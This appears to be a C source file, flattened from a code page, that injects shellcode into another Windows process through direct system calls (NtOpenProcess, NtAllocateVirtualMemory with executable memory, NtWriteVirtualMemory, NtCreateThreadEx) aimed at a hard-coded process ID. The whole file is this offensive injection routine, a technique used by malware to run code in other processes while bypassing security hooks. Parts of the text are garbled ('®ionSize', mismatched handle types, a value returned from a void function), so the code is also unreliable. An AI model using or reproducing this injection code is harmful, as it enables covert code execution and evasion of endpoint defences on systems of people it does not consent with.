1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| #include <windows.h> #include <stdio.h> #include "syscalls_all.h" #include <malloc.h>
char AddSunc[] = {0x48, 0x83, 0xEC, 0x08, 0x48, 0xBB, 0x70, 0x10, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0xFF, 0xD3, 0x48,0x83, 0xC4,0x08, 0xC3 };
void InjectCode(DWORD dwProcId, LPVOID mFunc) { PHANDLE hProcess; OBJECT_ATTRIBUTES objAttr; CLIENT_ID clientId; clientId.UniqueProcess = (HANDLE)dwProcId; clientId.UniqueThread = NULL; InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL); NTSTATUS status = NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objAttr, &clientId); if (status) { printf("Error NtOpenProcess 0x%X\n",status); printf("hProcess 0x%X\n", hProcess); return 0; }
SIZE_T regionSize = 1024; PVOID mFuncAddr=NULL; status = NtAllocateVirtualMemory(hProcess, &mFuncAddr, 0, ®ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (status) { printf("Error Allocate 0x%X\n",status); goto labelCloseProcess; } SIZE_T NumberOfByte; status = NtWriteVirtualMemory(hProcess, (PVOID)mFuncAddr, (PVOID)mFunc, sizeof(AddSunc), &NumberOfByte); if (status) { printf("Error Write 0x%lX\n", status); goto labelFree; } printf("mFuncAddr 0x%lX\n", mFuncAddr); HANDLE hThread; status = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, (PHANDLE)hProcess, (PVOID)mFuncAddr, NULL,FALSE, NULL, NULL, NULL, NULL); if (status) { printf("Error CreateThread 0x%X\n",status); goto labelFree; } NtWaitForSingleObject(hThread, FALSE,NULL); NtClose(hThread); labelFree: status = NtFreeVirtualMemory(hProcess, &mFuncAddr, ®ionSize, MEM_RELEASE); labelCloseProcess: NtClose(hProcess); return; }
int main() { InjectCode(72812, AddSunc); return 0; }
|